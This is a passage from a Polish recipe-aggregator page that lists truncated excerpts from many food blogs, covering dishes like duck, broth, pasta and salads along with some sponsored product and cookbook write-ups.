drogie (jak np. mięso z jelenia), jednak wykwintne i nasze polskie. Książka zawiera między innymi takie przepisy jak: Schab zapiekany z porami i suszonymi grzybami Uda gęsie w sosie z czarnych porzeczek z miodem pitnym Pierogi z serem, kaszą gryczaną i miętą Barszcz czerwony podstawowy Smażone okonie z chlebową sałatką Kuchnia Polska według Karola Okrasy została wydana

Kuchnia Bazylii
BAGIETKA NADZIEWANA PIERSIĄ Z KURCZAKA I ŻÓŁTYM SEREM 263

mieszamy a następnie obficie smarujemy po wierzchu złożoną bagietkę, po czym zawijamy ją w folię aluminiową. Pieczemy w temperaturze 175 stopni Celsjusza przez 20 minut. Podajemy na ciepło z sosem pomidorowym, maczamy i zajadamy

Przepisy kulinarne babci Antoniny
Smażona ryba z frytkami 213

Fish and chips, czyli SMAŻONA RYBA Z FRYTKAMI z sosem... Artykuł Smażona ryba z frytkami pochodzi z serwisu CookMagazine

COOKMAGAZINE
Rolada biszkoptowa zgalaretką i kremem 205

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
TARTA BROKUŁOWA Z KURCZAKIEM 157

posypujemy przyprawami, obsmażamy na złoto. Brokuła gotujemy w osolonej wodzie. Jajka miksujemy ze śmietaną, doprawiamy przyprawami do smaku, dodajemy ser. Na podpieczonym cieście układamy kurczaka, pieczarki i brokuła, zalewamy sosem. Zapiekamy ok. 30 min.w 180 stopniach aż się masa zetnie

słodki bratek
ROSÓŁ Z KURY 178

rosół przecedzić, doprawić do smaku. Podawać z makaronem, kluskami.  Rosół przed podaniem posypać posiekaną natką pietruszki. Kurę podać razem z rosołem lub jako drugie danie z odpowiednio dobranym sosem i warzywami

Przepisy kulinarne babci Antoniny
KACZKA DUSZONA Z PAPRYKĄ 186

cytryny usiekana natka pietruszki Sposób przygotowania: Kaczkę oczyścić, umyć, wyporcjować, natrzeć czosnkiem i solą, oprószyć mąką wymieszaną z papryką, obrumienić na tłuszczu. Przełożyć do rondla, udusić w powstałym sosie.  Pod koniec duszenia dodać pieprz i sok z cytryny. Porcje kaczki posypywać drobno usiekaną natką pietruszki. Podawać z ziemniakami i surówkami sezonowymi

Przepisy kulinarne babci Antoniny
Makaron z sosem pieczarkowym i suszonymi pomidorami 210

kokosowe i zagotuj. Niech razem to wszystko bulgocze 5 minut i gotowe! Wymieszaj z ugotowanym makaronem, skrop oliwą truflową jeżeli masz i się delektuj!     Artykuł Makaron z sosem pieczarkowym i suszonymi pomidorami pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
Domowa przyprawa warzywna - domowa wegeta 494

Kiedy kończy się jedna porcja szykuję następną,bo warzywa w kuchni to podstawa. Oczywiście te świeże są na pierwszym miejscu i jest to obowiązkowy zestaw do każdej zupy czy sosu,a te suszone to taki element dopełniający smak każdej potrawy. Warzywa do przyprawy suszę sama używając tych wyhodowanych w moim ogrodzie. Obraną marchew,pietruszkę i seler ścieram na tarce

Kolorowa kuchnia Elki
Mięcho do chleba 149

cebule  1 marchewka  2 łyżeczki pieprzu ziołowego  3 ząbki czosnku  1 łyżka soli  2 listki laurowe  4 łyżeczki majeranku  3 łyżki sosu teriyaki  2 łyżki papryki czerwonej  Wykonanie  Mięso zawijami w sznurek , bądź flaka sznurkowanego którego można kupić w sklepie już gotowego . Jak mamy mięso zawiązane , zaczynamy przyprawiać nasze mięso

Mój Smak
Ekologiczna żywność od Biona :) 211

pozycji, które bardzo chciałabym spróbować.  BIONA to brytyjska marka produkująca żywność organiczną, odpowiednią dla wegetarian. Oferta jest niezwykle szeroka i ciekawa. Znajdziesz tu między innymi: soki, przekąski, makarony, sosy, słodycze. Składniki użyte w produktach pochodzą z czystych i naturalnych terenów, na których nie używa się pestycydów i herbicydów ani GMO. Żywność odznacza się wysoką jakością, doskonałym smakiem i wysoką

Zdrowie na języku :P
Kuchnia Polska z Karolem Okrasą i Lidlem 191

zdecydowanie podwędzane tatary. Miedzy innymi przygotowaliśmy tatar wołowy, z jelenia, śledzia i sandacza, podawane z grzankami lub placuszkami ziemniaczanymi. Smakowaliśmy wędzonej pierś z kaczki podanej z wędzonym sosem czekoladowym i polędwicę wołową z salsą paprykową. Zwieńczeniem warsztatów i wspólnego gotowania była zupa grzybowa z białymi warzywami.  Wszystkie te przepisy dostępne są własnie w tej książce, którą możecie

Niezły Młynek
Kremowa zapiekanka makaronowa z kurczakiem. 580

przykryciem 30 minut. Zdjąć przykrycie, posypać pozostałym cheddarem i piec jeszcze 5 minut. Przed podaniem posypać obficie posiekanym szczypiorkiem. Można podać z salsą meksykańską, keczupem , relishem paprykowym lub sosem barbecue i dodatkową porcją startego sera

zadanie-gotowanie
Polędwiczka wieprzowa z woka z selerem naciowym 167

Osobiście uważam, że mięso wieprzowe świetnie komponuje się z selerem naciowym - zwłaszcza z woka, gdy mięso jest miękkie i soczyste a seler chrupiący. Do tego warzywa i sosy, które nadadzą daniu smak lekko kwaśny, lekko słodki, z wyczuwalną nutką ostrości. Szybkie i smaczne. Spróbujcie

Milion Smaków
Sałatka do pracy 179

pomidory. Właśnie dlatego to ostatnie sztuki jakie uchowały się w domu i ostatnie danie z nimi. Sałatka z tuńczyka i ryżu z pomidorami składniki: 1 opakowanie tuńczyka w sosie własnym 2 pomidory 200 g ryżu - najlepszy będzie brązowy, ja użyłam Basmati 0,5 łyżeczki kurkumy 1 mała szalotka 1 łyżeczka papryki w proszku natka pietruszki sól, pieprz wykonanie: Ryż gotujemy

Przysmaki Karolki
Razowe spaghetti z pesto i pomidorkami koktajlowymi 179

kolejne 3-4 minuty. Wrzucamy pesto by chwilkę się zagrzało.  Dodajemy odcedzony makaron (u nas po prostu wyciągnięty z garnka łyżką cedzakową - bez wylewania na sitko - tak by sos połączył się z niewielką ilością wody, w której gotował się makaron). Delikatnie mieszamy całość i od razu podajemy. Smacznego :)    1 porcja - 650 kcal - białko - 19,25 g - tłuszcze

Moje Kuchenne Rewelacje
Potrawka z kurczaka 587

rozbić wszystkie grudki. Gdy konsystencja będzie jednolita, wlewamy z powrotem do reszty wywaru. W misce ucieramy 3 łyżki mąki ze śmietaną na gładką masę a następnie dolewamy trochę gorącego sosu. Mieszamy i wlewamy z powrotem do garnka. Do całości wrzucamy kawałki kurczaka i marchewkę. Potrawkę doprawiamy solą, sokiem z cytryny i cukrem.  Potrawkę z kurczaka można podawać z tłuczonymi

Qchnia po prostu
Kuchnia Polska wg Karola Okrasy - prezentacja nowej książki 194

spróbowałam pysznych polskich tatarów, wędlin i innych smakowitych dań, które nawiązują do historii kuchni polskiej. Karol Okrasa przygotowałam dla uczestników warsztatów pyszną, wędzoną pierś z kaczki podaną z wędzonym sosem czekoladowym i polędwicę wołową z salsą paprykową.  Uczestnicy warsztatów przygotowywali tatary: wołowy, z jelenia, z sandacza, ze śledzia i z łososia.  Wszystkie pyszne, wędzone i zaskakujące w smaku

Kuchnia Bon Appetit
Puszyste placuszki z otrębami, serem i szynką 159

Placuszki smażyć z obu stron na złoty kolor. Podawać bezpośrednio po przygotowaniu z ulubionymi dodatkami. (U mnie z dodatkową porcją żółtego sera, ale idealnie komponują się praktycznie z każdym sosem, czy świeżymi warzywami.) Moje otręby owsiane pochodzą z jednego z pakietów Diety OXY . Tu - klik można zrobić test i dostosować dietę do własnych potrzeb. Diety OXY to nie tylko zdrowe

Di gotuje
KACZKA PIECZONA Z JABŁKAMI I GREJPFRUTAMI 216

oczyścić, umyć, nasolić, natrzeć majerankiem, pozostawić na godzinę. Po tym czasie kaczkę ułożyć na blasze grzbietem do dołu, polać stopionym smalcem i upiec w piekarniku, skrapiając wodą i wytworzonym sosem. Porcjować. Jabłka i grejpfruty umyć, pokroić w ćwiartki, posolić, oprószyć majerankiem i cukrem, poddusić krótko na tłuszczu z pieczenia. Porcje kaczki podawać na rukoli z jabłkami i grejpfrutami

Przepisy kulinarne babci Antoniny
Drobiowe żołądki w sosie 183

czasu do czasu lubię przygotować podroby , choć troszkę długo się gotują , smakują bardzo fajnie , taki sos z żołądków z kaszą gryczaną jest bardzo smaczny , i ma swoich zwolenników, z mojej strony mogę serdecznie zaprosić na przepis . Składniki  1 kg żołądków drobiowych  2 średnie cebule  2 listki laurowe  2 marchewki  5 ziaren pieprzu kolorowego

Mój Smak
Kozi ser zapiekany z szynką serrano 136

rozmaryn        Przygotowanie   Sok pomarańczowy wymieszałem z miodem, oliwą i tymiankiem. Na 4 kawałkach folii aluminiowej ułożyłem szynkę, na niej plaster sera. Posypałem tymiankiem, skropiłem sosem pomarańczowym. Zawinąłem szczelnie. Ułożyłem pakiety na rozgrzanym grillu, zapiekałem ok. 10 minut

R'n'G Kitchen
Warsztaty – Kuchnia Polska z Lidlem i Karolem Okrasą 193

grzankach. Poza tatarami była też wspaniała zupa grzybowa z pieczonym dorszem oraz bliny w 3 odmianach. Dodatkowo sam Karol Okrasa przygotował dla nas kaczuszkę w sosie czekoladowym oraz polędwicę wołową podwędzaną z pyszną salsą paprykową. Mi szczególnie spodobał się sposób podwędzania potraw i podpalania ich sianem, który na pewno przetestuję niebawem

Marta Gotuje
Potrawka z ciecierzycą 192

pokroić w plasterki. Paprykę i selera naciowego dodać do cebuli, chwilę podsmażać i dodać pomidory z puszki. W tym czasie na rozgrzanym oleju podsmażyć mięso. Miękkie mięso dodać do sosu pomidorowego, a także ciecierzycę razem z zalewą. Gotować kilka minut, przyprawić i zagotować. Smacznego! "Stosuję rafinowany olej rzepakowy w swojej kuchni i cenię go za to, że nie tylko podkreśla

talerz przyjemności
“Wegan Nerd. Moja roślinna kuchnia” – recenzja 219

thai i steki z kapusty. Uwielbiam zupę czosnkową i chowder z kukurydzy, więc na pewno wypróbuję wersję wegańską z tej książki. Chętnie spróbuję cymesu i spaghetti z cukinii z sosem chimichurri. A na deser ciastka z cieciorki z masłem orzechowym i koniecznie surowe ciasto marchewkowe. Jeśli podoba Wam się kuchnia Wegan Nerd, to autorkę będzie można spotkać 8 listopada

Ugotowane pozamiatane
Spaghetti z oliwą, czosnkiem i tuńczykiem 236

bardzo delikatnie zamieszałem, tak aby kawałki tuńczyka pozostały jak największe. Ugotowany makaron odcedziłem na durszlaku i dodałem na patelnię. Całość delikatnie, lecz dokładnie wymieszałem, aby makaron dokładnie pokrył się sosem. Makaron wyłożyłem do miseczek. Posypałem świeżo starym serem pecorino romano i czarnym świeżo zmielonym pieprzem. Całość udekorowałem jagodami kaparów, których smak idealnie pasuje do smaku tuńczyka. Podałem natychmiast po przygotowaniu

Wyprawy kulinarne
Smaczny projekt - testujemy Zott Natur 196

jagody, ale wydaje mi się, że była ze wszystkich najsłodsza. I to był jej minus, ale poza tym też smaczna. Mój ideał to byłby jogurt z dwoma dodatkami: owocowym sosem i musli. Takie połączenie smakowało mi najbardziej ze wszystkich. Sprawdziłam go, gdy dzieliłyśmy się z Zuzią dwoma ostatnimi jogurtami i wymieniłyśmy połową dodatków, truskawka i tropicalne musli. Mniam! Moja opinia

Anioszek w kuchni
Chili con carne 235

się zrumieni wlewamy na patelnię pomidory, dodajemy cukier i mieszamy. Doprowadzamy do wrzenia i dusimy około 20 minut (od czasu do czasu mieszamy a w razie potrzeby, gdy sos będzie zbyt gęsty, podlewamy wodą). Na końcu dodajemy fasolę oraz oregano, doprawiamy solą oraz pieprzem i dusimy kolejne 10 minut. Podajemy z kwaśną śmietaną i ryżem lub w tortillach. Smacznego

Moje-pitraszenie
Roladki z mozzarellą owinięte chrupiącym boczkiem 187

Waszych domach! :)   Jeśli mięso mielone to...? Co najczęściej z niego przyrządzasz? Ja lubię je grillować w formie kotletów lub koft albo w formie pulpetów w aromatycznych sosach. Tym razem postanowiłam jednak stworzyć pyszne roladki, z ciągnącym się środkiem za sprawą mozzarelli, i chrupiąca skórką, którą tworzy cieniutki plasterek boczku. Do mięsa dodałam przyprawy i dodatki, które nadają im włoskiego

Cooking Monster
Rio Mare: tuńczyk genialnej jakości jakiego nie znacie 197

się z szarą breją, niczym nie przypominającą ryby jaką znałam z wakacyjnych podróży. Rio Mare zdecydowanie oszałamia jakością, tuńczyk ma piękny jasny, lekko różowy kolor i skąpany jest w sosie własnym lub oliwie z oliwek – nie znajdziecie tu tuńczyka w zwykłym oleju, na szczęście! Za moimi ochami i achami idzie prawda, po otwarciu puszki tuńczyk spisuje się nie tylko wizualnie

Gotowanie i blogowanie
Zupa marchewkowa. Niepozorna, a z charakterem 221

mleko lub śmietanka kokosowa, a razem z nimi dodatek curry, garam masala, kolendry i kuminu – zupa nabierze indyjskiego charakteru. Można ją też mocno przyprawić chili, świeżym lub suszonym, odrobiną sosu sojowego i Srirachy. Na talerzu posypać uprażonym na suchej patelni jasnym sezamem, pokruszonymi wodorostami nori i świeżą kolendrą. Spróbujcie, z czym Wam najbardziej pasuje i podzielcie się proszę wrażeniami znad

Karo in the Kitchen
Kurczak po chińsku z ryżem - szybki i smaczny 184

zapakowania do pracy. Bardzo aromatyczny i doprawiony przyprawami, których nie używam w kuchni na co dzień. 200g ryżu 2 filety z kurczaka 2 papryki 2 pory 2 marchewki sos sojowy olej sezamowy sól, pieprz po szczypcie: kolendra, kurkuma, kumin, pieprz cayenne, kardamon, papryka słodka, pieprz cytrynowy sezam do posypania 1. Ryż gotujemy zgodnie z przepisem na opakowaniu. Filety i paprykę

Szefowa kuchni
Placki z cukini 181

Polsce. Można z niej przyrządzić wiele potraw, idealnie pasuje do makaronu czy jako zdrowa odmiana frytek. Jednak dla mnie kwintesencją są placuszki z samej cukinii, do których przygotowuję sos czosnkowy. Poniżej najprostszy z możliwych przepisów, na najpyszniejsze z pysznych placuszki. 30 min 12 placków składniki: 1 średnia cukinia sól, pieprz 2 czubate łyżki mąki 2 łyżki mleka 1 jajko oliwa

Ania i Marcin gotują
Ćwikła z chrzanem jak zrobić? Ćwikła na zimę 189

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Sałatka brokułowa z pomidorem i jajkiem 195

Dziś przepis na bardzo szybką, prostą i zdrową sałatkę z brokułów z dodatkiem jajka, pomidorów i sosu na bazie jogurtu naturalnego. Składniki (porcja na 2 osoby): - pół brokuła - 2 jajka - 1 pomidor - jogurt naturalny - susz z natki pietruszki - susz z kopru - pieprz Przygotowanie : 1. Brokuła rozdzielić na różyczki, następnie opłukać i gotować około 10 minut.  2. Jajka gotować także

Kuchenne innowacje
Duszony karczek 242

stron. 2. W wodzie wymieszać wszystkie przyprawy, zalać mięso i dusić do miękkości pod przykryciem. W razie potrzeby uzupełnić wodę. 3. Gdy mięso już jest miękkie, dodać do sosu masło, wymieszać, nałożyć pokrywkę i wyłączyć gaz. 4. Podawać z ulubionymi dodatkami. Smacznego!!! Źródło: Kuchnia na wzgórzu

Kuchnia domowa Ani
Ossobuco trochę inaczej 316

mięso rozpuści się w ustach. Podawaj z czym chcesz, ja podałem z pieczonymi ziemniakami. Na koniec posyp talerz natką pietruszki i skórką z cytryny. Jeśli zostanie Ci trochę sosu z gulaszu, nie wyrzucaj go. Podgrzej go, przełóż do jakiejś miseczki i podaj z pokrojoną w plasterki bułką, a wyjdzie Ci zajebista przekąska. Szczególnie polecam próbę wyssania szpiku z kości

manslogblog
Paprykowe penne z kurczakiem 344

ciągnące się grudy, nic się nie martw. Mieszaj dalej, tak długo, aż znikną pod wpływem temperatury. Poczekaj, aż mleko trochę odparuje. Generalnie nie chcemy zupy, tylko ładny, gęsty sos. Jak całość się ładnie zredukuje, danie będzie gotowe. Po nałożeniu posyp z wierzchu trochę natki pietruszki. Magnifico

manslogblog
Gorczyca- jej ABC 215

gorczycę, natomiast pikantne - sarepską. Wystarczy łyżeczka nasion białej gorczycy po tłustym obiedzie aby zapobiec niestrawności . Te niewielkie nasionka dodajemy do kiszonych oraz konserwowanych ogórków, grzybów, kapusty . Gorczyca wzbogaci smak sosów, mięsa, wędlin, sałatek oraz zalew i marynat . Gorczyca ma także zastosowanie w lecznictwie . Z rozkruszonych nasion wydziela się wspomniana przeze mnie wcześniej synalbina , która pobudza wydzielanie enzymów trawiennych; wpływa

Gotuję Testuję
Rolada faszerowana kaszą 158

boki mięsa i zwinąć w roladkę. Całość spiąć nićmi. Podgotować chwilę. Następnie przełożyć na rozgrzany tłuszcz na patelni i smażyć przez ok. 25 minut z dwóch stron. Polać dowolnym sosem

Gotuję Testuję
Rokitnik doskonały w kuchni i kosmetologii 224

ciśnienie krwi, działają przeciwbakteryjnie i przeciwwirusowo. Warto wiedzieć, że podczas gotowania witamina C w rokitniku nie ulega rozkładowi, ponieważ owoce rokitnika nie posiadają enzymów, które umożliwiałby rozpad tej witaminy. Sosy z dodatkiem rokitnika nadadzą mięsom i serom wspaniałego smaku i zapachu. Nalewki z rokitnika idealnie sprawdzą się na jesienne i zimowe słoty - rozgrzeją nas. Napar z liści rokitnika należy pić

Gotuję Testuję
Pieczone podudzia 186

Pyszne pieczone podudzia, nie trzeba dużo by ją przygotować. Nadają się nie tylko na pyszny obiad, ale także dla rodzinki kiedy przyjedzie. Można podać z pysznym sosem keczupowym i grzankami. Naprawdę warto! Polecam

Gotuję Testuję
Pomysły na domową zapiekankę 188

Zdecydowanymi atutami dań tego typu jest to, że można je przygotować szybko i niedrogim kosztem. Oczywiście im więcej warzyw damy, tym potrawa będzie lżejsza i zdrowsza. Wystarczy dobrać odpowiedni sos (może być pomidorowy, czosnkowy), przyprawy które tylko lubimy (bazylię, oregano, tymianek, pietruszkę) i nic, tylko zapiekać

Gotuję Testuję
Zapiekanka makaronowa z cukinią i pomidorem 212

pieprzem, papryką. Powtarzamy warstwy jeszcze raz. Pomidory oraz cukinię kroimy w krążki. Warzywa układamy na przemian na wierzchu zapiekanki, doprawiamy.  W misce mieszamy śmietanę, jajka, sól, pieprz, zioła. Sos równomiernie wylewamy na warzywa. Piec 30 min w 180 st, ok 10 min przed wyłączeniem piekarnika kładziemy na wierzch plastry sera. Smacznego

Gotuj z Agnes
Placki warzywne 201

Dodajemy resztę składników. Posiekaną bazylię, natkę oraz resztę przypraw. Na rozgrzaną patelnię wlewamy odrobinę oleju. Nakładamy łyżkę masy i smażymy na rumiano. Dobrze smakują z ketchupem, można również zrobić sos czosnkowy. Smacznego

Gotuj z Agnes
Ryżowe muffinki z cukinią i papryką 195

boczkiem oraz przyprawy. Dodajemy kaszę, jajka i wszystko mieszamy. Masę przekładamy do silikonowych foremek na muffinki. Pieczemy ok 30 min w 180 st. Podajemy z ketchupem, lub innymi sosami

Gotuj z Agnes
We dwoje dajemy rade! 168

gotowaniu. Jednak jak to w życiu bywa często się nie zgadzamy i kłócimy, tak też dzieje się na polu kuchennym. ONA - preferuje w gotowaniu warzywa, kasze, lekkie sałatki i sosy.. ON - mięso, mięso i jeszcze raz mięso, a z warzyw najbardziej lubi kiełbasę :) Dlatego też, strona ta będzie zawierała mocno zróżnicowane przepisy, zarówno na zdrowe, dietetyczne potrawy

Kuchnia od dwojga
Hiszpanska tortilla z lekka salatka 201

mało. W zależności od tego, co, kto lubi może sobie do takiego omleta dorzucić to, na co akurat ma ochotę lub co znajdzie w lodówce. Serwować można zarówno z sosem jak i sałatką, czy pieczywem. Dzisiaj mieliśmy zamiar zrobić tortillę z dodatkiem chorizo, ale finalnie wyszła z salami, które mieliśmy otwarte. Do tego lekka sałatka i danie gotowe. SKŁADNIKI TORTILLI

Kuchnia od dwojga
Spaghetti, skrzydełka, borowik,masło i jarmuż czyli prosty obiad w krótkim czasie. 167

oddzielamy od łodygi rwiemy na kawałki.Makaron gotujemy al dente i wprost z wody przekładamy na patelnię z mięsem. Posypujemy skórką, pieprzem i dokładnie mieszamy, aby dokładnie pokrył się sosem powstałym z resztek wody jaka spłynęła z makaronu i smaków z masła i smażonego mięsa. Na koniec dodajemy pomidorki ( można je pokroić) i jarmuż. Przykrywamy na chwilę aby wszystko razem

Dieta moja pasja
Sos pomidorowy z #smakjęzyka czyli nauka języka i kuchni. 153

siebie i troszkę spolszczyć tą potrawę. A mianowicie dorzuciłam klopsiki z białej kiełbasy. Kiełbasę wyjmujemy z osłonek i mokrymi dłońmi formujemy niewielkie klopsiki, które wrzucamy do gotującego się sosu. I tak gotujemy około 15 - 20 minut. Podajemy z ugotowanym makaronem, odrobiną parmezanu i zielonym akcentem.  Proste? I to bardzo. Smaczne? I to jak.  Czy sam, czy też

Dieta moja pasja
Makaron z jabłkiem i wątróbką. 170

też było z wątróbką, nie odrzucało mnie od niej. Nie wzdrygałam się na samą myśl, ale byłam na NIE. Z racji jednego z konkursów postanowiłam wymyślić coś oryginalnego. Sosy, kurczaki, grzyby, mięso mielone to wszystko takie oklepane. Ja postanowiłam się zbratać z wątróbką. :) 0,5 kg drobiowej wątróbki 2 twarde jabłka łyżka majeranku 2 łyżki  skórki z cytryny łyżeczka

Dieta moja pasja
Kopytka z smażonymi pieczarkami. 160

się na moich propozycjach,  dlatego teraz stanęło na tej potrawie. Kopytka niby proste kluski, a jednak ile kucharek tyle przepisów, metod, sposobów wykonania. Pan miał jeden warunek.....żadne sosy, żadne skwarki. kg ugotowanych ziemniaków 250 g mąki pszennej jajko 2 l wody płaska łyżka soli łyżka oleju mąka do podsypania Oraz: 2 łyżki masła 10 pieczarek szczypta soli Ziemniaki

Dieta moja pasja
Kotlety z kiszonej kapusty, sezamu i kaszy manny. 224

bułce tartej, ale wtedy  będą potrzebować więcej tłuszczu. Gotowe osuszamy na papierowych ręcznikach i można podawać. Podawać z czym kto chce, jako dodatek do ziemniaków, ryżu. Z sosem grzybowym czy też pieczarkowym. Mnie jednak najbardziej  smakują same, uwielbiam smak takiej przypieczonej kapusty. Na smak kotletów ma także sezam, takie podsmażony jest bardzo aromatyczny i wyraźny w smaku. Jeszcze

Dieta moja pasja
Kruche paszteciki z ryżem i kiełbasą. 163

Ryżowej zabawy ciąg dalszy. Tak sobie myślałam co tu jeszcze zrobić, coś czego nie było, ale tak szczerze było bardzo wiele ? Gołąbki, pomidorowa, sosy, jabłka i inne takie znamy. A ja chciałam zrobić coś innego. Coś do czego się wróci, a nie będzie to tylko jednorazowy wybryk, który powstanie na potrzeby akcji.  Przepis na ciasto ------>  KLIK

Dieta moja pasja
Wraps z mozzarellą i ogórkiem. 175

wiele, przeróżnych propozycji. Od tych wykwintnych i na bogato, do tych prostych i ogólnie znanych. Ja postawiłam na prostotę i zaproponowałam nadzienie z.... fety i arbuza a wszystko skropione sosem czosnkowym. I udało się , wygrałam ! Teraz mam taki zapas, przeróżnych tortilli ,że tylko tworzyć i smakować.  Z czego się bardzo cieszę. :) Skład nie był mi obcy, ponieważ lubię arbuza

Dieta moja pasja
Sałatka z ananasem i tortellini. 162

ciągnący się. Ananasa i szynkę kroimy w kostkę podobnej wielkości. Wszystkie składniki wkładamy do dużej miski i mieszamy, razem z przestudzonymi tortellini. Serek mieszamy z majonezem, aby zelżyć sos, lekko doprawiamy pieprzem. Dodajemy do sałatki i ponownie mieszamy. Uważam że ta sałatka należy do tych co to nadają się do spożycia zaraz po przygotowaniu. Nie wymagają tzw leżakowania, ilość pieprzu

Dieta moja pasja
Sałata z kurczakiem i truskawkami. 179

dłużej. Po takim czasie zachowują jędrność , a zarazem są ciepłe i aromatyczne. Kurczaka kroimy w paski, układamy na sałacie z ogórkami, całość polewamy truskawkami z sosem i sezamem. I tym sposobem mamy na talerzu kumulację smaków. Pikantne, lekko słodkie i kwaskowate od truskawek. Jak dla mnie wszystko jest dobrane w takim proporcjach, że nie ma chaosu , ale jest wyrazistość

Dieta moja pasja
Filet kurczaka w pikantnej marynacie z truskawkami i mozzarellą. 173

jest wprost stworzony do takich dań. Ten smak jaki się udziela całej potrawie jest znaczący, jednak nie można pominąć walorów zdrowotnych. Tak jak wcześniej dodałam olej kokosowy do sosu truskawkowego z leniwymi. To nie jest bez znaczenia, tłuszcz z zwłaszcza ten dobry, tłoczony na zimno jest nam bardzo, bardzo potrzebny. Aby witaminy rozpuszczalne w tłuszczach mogły zostać przyswojone. Jego działanie

Dieta moja pasja
Placki ziemniaczane z pikantnym twarożkiem i warzywami. 183

siedzę na śląsku. I jak już to powiedzmy, że to syr. :)) Jak zwał tak zwał, dla mnie to nieistotne. Ważne że bardzo lubię, odpowiadają mi lepiej niż te z sosami i mięsem. Placki: 2 kg ziemniaków 2 jajka  średnia cebula sól i czarny pieprz do smaku olej do smażenia. Twarożek: 0,5 kg twarogu półtłustego mały kubek jogurtu naturalnego

Dieta moja pasja
Ryż pełnoziarnisty z kurkami. 180

każdego zakamarka. Czyste grzyby kładziemy na rozgrzane masło i dusimy około 4 - 5 minut. Oczywiście te duże przekrawamy na pół lub ćwiartki. Zalewamy śmietanką i chwilę zostawiamy aby się sos się zredukował. Doprawiamy solą i pieprzem, podajemy z ugotowanym ryżem i oczywiście grzyby poza czarnym pieprzem lubią natkę pietruszki. A więc bez niej ani rusz. Prosto, szybko i naprawdę smacznie

Dieta moja pasja
Piersi kacze z pomarańczą. 168

powinno być różowe, ale nie krwiste. Podajemy z czym tam kto lubi, u mnie były z dzikim ryżem. Można podać ze samą sałatką.  Chrupiąca skórka, słodko - pikantny aromatyczny sos i jest ok. Ani to pracochłonne, ani skomplikowane a wygląda całkiem nieźle

Dieta moja pasja
Szynka gotowana i zapiekana z glazurą. 174

wprost wyjęta z wody. 1,5 - 1,8 kg szynka warzywa i przyprawy jak na rosół woda Glazura: łyżka dżemu lub miodu łyżeczka słodkiej papryki szczypta soli lub łyżka sosu sojowego 1/3 łyżeczki pieprzu cayenne łyżeczka granulowanego czosnku folia aluminiowa  Warzywa i przyprawy wrzucamy do garnka ( na tyle dużego aby później swobodnie zmieściła się szynka) zalewamy wodą i gotujemy

Dieta moja pasja
Kluski żelazne z sadzonym jajkiem i skwarkami. 196

wody. Gotujemy bardzo wolno w osolonym wrzątku około 5 -  7  minut. Podajemy ze skwarkami i sadzonym jajkiem jak w tym przypadku. Lub z tym co kto lubi, sosem, mięsem lub grzybami

Dieta moja pasja
Kaszotto jęczmienne z pieczarkami (i kurczakiem) 257

wody kasza nadal jest twardawa, dolejcie resztę wody. Pamiętajcie jednocześnie, że kaszotto nie powinno być suche, a więc powinno wyglądać tak, jakby między ziarenkami kaszy znajdowały się niewielkie ilości sosu.  Jeśli akurat macie gotowane mięso z kurczaka (np. z niedzielnego rosołu) możecie je dodać przed samym końcem gotowania, tak zęby zdążyło nabrać odpowiedniej temperatury, ale dodawanie mięsa nie jest

Czary - gary w kuchni
Śledzie w zalewie octowej 342

Dzisiejszy przepis na śledzie w zalewie octowej, to świetna baza do wielu pysznych przekąsek. Możecie takie śledzie podać w ulubionym, dowolnym sosie, czy ze śmietaną Składniki na śledzie: 1,2kg świeżych tuszek śledziowych 650ml wody 300ml octu 1 duża cebula 1 marchewka 4 czubate łyżki cukru 2 płaskie łyżki soli po łyżeczce ziaren gorczycy i ziaren pieprzu po 5 liści

NiePieprz.pl
Schab zapiekany w sosie serowym z curry 266

Dziś schab nieco inaczej niż zawsze, bo w wersji pikantnej w sosie serowym który warto sobie przyswoić ponieważ jest przepyszny kiedyś próbowałam go z zwykłymi ziemniakami i również nadał im niesamowitego smaku. Czytaj więcej

Pychotkaaa
Pasta z rybek w pomidorach 226

jajka ugotowane na twardo 0,5 małej cebuli 1 łyżka majonezu szczypta soli i pieprzu - do smaku Jajka po ugotowaniu wystudzić, obrać i rozdrobnić widelcem. Rybki wraz z sosem pomidorowym również rozdrobnić widelcem i połączyć z jajkami. Cebulę pokroić w drobną kostkę. Dodać majonez, sól, pieprz i dokładnie wymieszać. Gotowe! Pasta wspaniale smakuje na razowym pieczywie lub na pszennych grzankach

Posadzone i zjedzone
Kiełbasa pieczona w sosie pomidorowym 119

MicrosoftInternetExplorer4 Posiekaną cebulę i czosnek szklimy. Dodajemy pomidory wraz z zalewą, chili, oregano, oliwki, sól i pieprz. Dusimy pod przykryciem 10 min. Kiełbasy nakłuwamy, przekładamy do naczynia żaroodpornego, zalewamy sosem i pieczemy pod przykryciem 30-35 min w piekarniku rozgrzanym do 180°C. Następnie zdejmujemy pokrywkę i pieczemy 10 min, do czasu zrumienienia. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable

R'n'G Kitchen
Sałatka z fenkułem i pomarańczą 181

Lekka SAŁATKA Z FENKUŁEM I POMARAŃCZĄ w cytrusowym sosie świetnie... Artykuł Sałatka z fenkułem i pomarańczą pochodzi z serwisu CookMagazine

COOKMAGAZINE
Fusilli z pomidorami,szynką i Pecorino Romano DOP 184

Kiedy dom napełni się przyjemnym aromatem, dodaj pomidory prosto z puszki, posól, dosmacz pieprzem, oliwą z oliwek, poszarp sporo bazylii. Zamknij pokrywa patelnię i duś chwilkę pod przykryciem. Do sosu wrzuć makaron. Wymieszaj. Zetrzyj bezpośrednio do makaronu sporo sera owczego Pecorino Romano DOP . Jest niezwykle aromatyczny i przeniesie Was niemal natychmiast do słonecznej Italii. Wymieszaj. Jeśli chcesz dodaj oleju

Z Kuchni Do Kuchni
Ziemniaczki maślane z piekarnika 201

ziołowego  1 łyżeczka czosnku granulowanego  Wykonanie  Ziemniaki dokładnie myjemy i osuszamy , następnie do miseczki wlewamy masło , dodajemy wszystkie nasze przyprawy i dokładnie mieszamy . Jak mamy przygotowany sos maślany , przygotowujemy kawałki foli aluminiowej , jeden kawałek na jednego ziemniaka , i na każdym kawałku kładziemy jednego ziemniaka , polewamy jedną łyżką masła i zwijamy w cukierki , postępujemy tak do wykorzystania wszystkich

Mój Smak
Pierś kaczki w pomarańczach i mandarynkach 184

